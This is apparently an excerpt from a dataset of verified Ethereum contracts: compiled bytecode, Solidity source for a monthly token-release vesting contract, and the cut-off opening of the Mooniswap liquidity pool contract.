60008060008060008061355487612724565b9550955095509550955095506135b286600f60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7690919063ffffffff16565b600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061364783601060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136dc85600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061372881613d04565b6137328483613ea9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161378f91906145b2565b60405180910390a3505050505050505050565b6000806000806000806137b487612724565b95509550955095509550955061381286600f60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7690919063ffffffff16565b600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138a785600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138f381613d04565b6138fd8483613ea9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161395a91906145b2565b60405180910390a3505050505050505050565b60008060008060008061397f87612724565b9550955095509550955095506139dd87601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7690919063ffffffff16565b601060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a7286600f60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7690919063ffffffff16565b600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b0783601060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b9c85600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b600f60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613be881613d04565b613bf28483613ea9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613c4f91906145b2565b60405180910390a3505050505050505050565b600654600581905550600954600881905550565b60008183613c849190614778565b905092915050565b6000613cb66064613ca860055485613cee90919063ffffffff16565b61211e90919063ffffffff16565b9050919050565b6000613ce76064613cd960085485613cee90919063ffffffff16565b61211e90919063ffffffff16565b9050919050565b60008183613cfc919061471e565b905092915050565b6000613d0e6126e3565b90506000613d258284613cee90919063ffffffff16565b9050613d7981600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ea457613e6083601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270e90919063ffffffff16565b601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613ebe82601654613c7690919063ffffffff16565b601681905550613ed98160155461270e90919063ffffffff16565b6015819055505050565b600081359050613ef281614c88565b92915050565b600081519050613f0781614c88565b92915050565b600081359050613f1c81614c9f565b92915050565b600081359050613f3181614cb6565b92915050565b600081359050613f4681614ccd565b92915050565b600060208284031215613f5e57600080fd5b6000613f6c84828501613ee3565b91505092915050565b600060208284031215613f8757600080fd5b6000613f9584828501613ef8565b91505092915050565b600060208284031215613fb057600080fd5b6000613fbe84828501613f0d565b91505092915050565b60008060408385031215613fda57600080fd5b6000613fe885828601613ee3565b9250506020613ff985828601613ee3565b9150509250929050565b60008060006060848603121561401857600080fd5b600061402686828701613ee3565b935050602061403786828701613ee3565b925050604061404886828701613f37565b9150509250925092565b6000806040838503121561406557600080fd5b600061407385828601613ee3565b925050602061408485828601613f37565b9150509250929050565b6000602082840312156140a057600080fd5b60006140ae84828501613f22565b91505092915050565b6000602082840312156140c957600080fd5b60006140d784828501613f37565b91505092915050565b600080604083850312156140f357600080fd5b600061410185828601613f37565b925050602061411285828601613f22565b9150509250929050565b60006141288383614143565b60208301905092915050565b61413d816147be565b82525050565b61414c816147ac565b82525050565b61415b816147ac565b82525050565b600061416c82614652565b6141768185614675565b935061418183614642565b8060005b838110156141b2578151614199888261411c565b97506141a483614668565b925050600181019050614185565b5085935050505092915050565b6141c8816147d0565b82525050565b6141d781614813565b82525050565b6141e681614837565b82525050565b60006141f78261465d565b6142018185614686565b9350614211818560208601614849565b61421a81614984565b840191505092915050565b6000614232602383614686565b915061423d82614995565b604082019050919050565b6000614255602a83614686565b9150614260826149e4565b604082019050919050565b6000614278602683614686565b915061428382614a33565b604082019050919050565b600061429b602283614686565b91506142a682614a82565b604082019050919050565b60006142be601b83614686565b91506142c982614ad1565b602082019050919050565b60006142e1601f83614686565b91506142ec82614afa565b602082019050919050565b6000614304602883614686565b915061430f82614b23565b604082019050919050565b6000614327602083614686565b915061433282614b72565b602082019050919050565b600061434a602983614686565b915061435582614b9b565b604082019050919050565b600061436d602583614686565b915061437882614bea565b604082019050919050565b6000614390602483614686565b915061439b82614c39565b604082019050919050565b6143af816147fc565b82525050565b6143be81614806565b82525050565b60006020820190506143d96000830184614152565b92915050565b60006020820190506143f46000830184614134565b92915050565b600060208201905061440f60008301846141bf565b92915050565b600060208201905061442a60008301846141ce565b92915050565b6000602082019050818103600083015261444a81846141ec565b905092915050565b6000602082019050818103600083015261446b81614225565b9050919050565b6000602082019050818103600083015261448b81614248565b9050919050565b600060208201905081810360008301526144ab8161426b565b9050919050565b600060208201905081810360008301526144cb8161428e565b9050919050565b600060208201905081810360008301526144eb816142b1565b9050919050565b6000602082019050818103600083015261450b816142d4565b9050919050565b6000602082019050818103600083015261452b816142f7565b9050919050565b6000602082019050818103600083015261454b8161431a565b9050919050565b6000602082019050818103600083015261456b8161433d565b9050919050565b6000602082019050818103600083015261458b81614360565b9050919050565b600060208201905081810360008301526145ab81614383565b9050919050565b60006020820190506145c760008301846143a6565b92915050565b600060a0820190506145e260008301886143a6565b6145ef60208301876141dd565b81810360408301526146018186614161565b90506146106060830185614152565b61461d60808301846143a6565b9695505050505050565b600060208201905061463c60008301846143b5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006146a2826147fc565b91506146ad836147fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146e2576146e16148f7565b5b828201905092915050565b60006146f8826147fc565b9150614703836147fc565b92508261471357614712614926565b5b828204905092915050565b6000614729826147fc565b9150614734836147fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561476d5761476c6148f7565b5b828202905092915050565b6000614783826147fc565b915061478e836147fc565b9250828210156147a1576147a06148f7565b5b828203905092915050565b60006147b7826147dc565b9050919050565b60006147c9826147dc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061481e82614825565b9050919050565b6000614830826147dc565b9050919050565b6000614842826147fc565b9050919050565b60005b8381101561486757808201518184015260208101905061484c565b83811115614876576000848401525b50505050565b6000600282049050600182168061489457607f821691505b602082108114156148a8576148a7614955565b5b50919050565b60006148b9826147fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156148ec576148eb6148f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614c91816147ac565b8114614c9c57600080fd5b50565b614ca8816147be565b8114614cb357600080fd5b50565b614cbf816147d0565b8114614cca57600080fd5b50565b614cd6816147fc565b8114614ce157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122030aae07c410321b5ac891d462e53662400b62e10554f1879290e9822b4e2101b64736f6c63430008030033
[ 13, 11 ]
0xf39A16C5805483758C211FF83Df854FDD17Ca732
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
[ 16, 7 ]
0xf39B0A6c5D2f223fE8d823492855A34b4EfE32b0
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/IFeeCollector.sol"; import "./libraries/UniERC20.sol"; import "./libraries/Sqrt.sol"; import "./libraries/VirtualBalance.sol"; import "./governance/MooniswapGovernance.sol"; contract Mooniswap is MooniswapGovernance { using Sqrt for uint256; using SafeMath for uint256; using UniERC20 for IERC20; using VirtualBalance for VirtualBalance.Data; struct Balances { uint256 src; uint256 dst; } struct SwapVolumes { uint128 confirmed; uint128 result; } struct Fees { uint256 fee; uint256 slippageFee; } event Error(string reason); event Deposited( address indexed sender, address indexed receiver, uint256 share, uint256 token0Amount, uint256 token1Amount ); event Withdrawn( address indexed sender, address indexed receiver, uint256 share, uint256 token0Amount, uint256 token1Amount ); event Swapped( address indexed sender, address indexed receiver, address indexed srcToken, address dstToken, uint256 amount, uint256 result, uint256 srcAdditionBalance, uint256 dstRemovalBalance, address referral ); event Sync( uint256 srcBalance, uint256 dstBalance, uint256 fee, uint256 slippageFee, uint256 referralShare, uint256 governanceShare ); uint256 private constant _BASE_SUPPLY = 1000; // Total supply on first deposit IERC20 public immutable token0; IERC20 public immutable token1; mapping(IERC20 => SwapVolumes) public volumes; mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForAddition; mapping(IERC20 => VirtualBalance.Data) public virtualBalancesForRemoval; modifier whenNotShutdown { require(mooniswapFactoryGovernance.isActive(), "Mooniswap: factory shutdown"); _; } constructor( IERC20 _token0, IERC20 _token1, string memory name, string memory symbol, IMooniswapFactoryGovernance _mooniswapFactoryGovernance ) public ERC20(name, symbol) MooniswapGovernance(_mooniswapFactoryGovernance) { require(bytes(name).length > 0, "Mooniswap: name is empty"); require(bytes(symbol).length > 0, "Mooniswap: symbol is empty"); require(_token0 != _token1, "Mooniswap: duplicate tokens"); token0 = _token0; token1 = _token1; } function getTokens() external view returns(IERC20[] memory tokens) { tokens = new IERC20[](2); tokens[0] = token0; tokens[1] = token1; } function tokens(uint256 i) external view returns(IERC20) { if (i == 0) { return token0; } else if (i == 1) { return token1; } else { revert("Pool has two tokens"); } } function getBalanceForAddition(IERC20 token) public view returns(uint256) { uint256 balance = token.uniBalanceOf(address(this)); return Math.max(virtualBalancesForAddition[token].current(decayPeriod(), balance), balance); } function getBalanceForRemoval(IERC20 token) public view returns(uint256) { uint256 balance = token.uniBalanceOf(address(this)); return Math.min(virtualBalancesForRemoval[token].current(decayPeriod(), balance), balance); } function getReturn(IERC20 src, IERC20 dst, uint256 amount) external view returns(uint256) { return _getReturn(src, dst, amount, getBalanceForAddition(src), getBalanceForRemoval(dst), fee(), slippageFee()); } function deposit(uint256[2] memory maxAmounts, uint256[2] memory minAmounts) external payable returns(uint256 fairSupply, uint256[2] memory receivedAmounts) { return depositFor(maxAmounts, minAmounts, msg.sender); } function depositFor(uint256[2] memory maxAmounts, uint256[2] memory minAmounts, address target) public payable nonReentrant returns(uint256 fairSupply, uint256[2] memory receivedAmounts) { IERC20[2] memory _tokens = [token0, token1]; require(msg.value == (_tokens[0].isETH() ? maxAmounts[0] : (_tokens[1].isETH() ? maxAmounts[1] : 0)), "Mooniswap: wrong value usage"); uint256 totalSupply = totalSupply(); if (totalSupply == 0) { fairSupply = _BASE_SUPPLY.mul(99); _mint(address(this), _BASE_SUPPLY); // Donate up to 1% for (uint i = 0; i < maxAmounts.length; i++) { fairSupply = Math.max(fairSupply, maxAmounts[i]); require(maxAmounts[i] > 0, "Mooniswap: amount is zero"); require(maxAmounts[i] >= minAmounts[i], "Mooniswap: minAmount not reached"); _tokens[i].uniTransferFrom(msg.sender, address(this), maxAmounts[i]); receivedAmounts[i] = maxAmounts[i]; } } else { uint256[2] memory realBalances; for (uint i = 0; i < realBalances.length; i++) { realBalances[i] = _tokens[i].uniBalanceOf(address(this)).sub(_tokens[i].isETH() ? msg.value : 0); } // Pre-compute fair supply fairSupply = type(uint256).max; for (uint i = 0; i < maxAmounts.length; i++) { fairSupply = Math.min(fairSupply, totalSupply.mul(maxAmounts[i]).div(realBalances[i])); } uint256 fairSupplyCached = fairSupply; for (uint i = 0; i < maxAmounts.length; i++) { 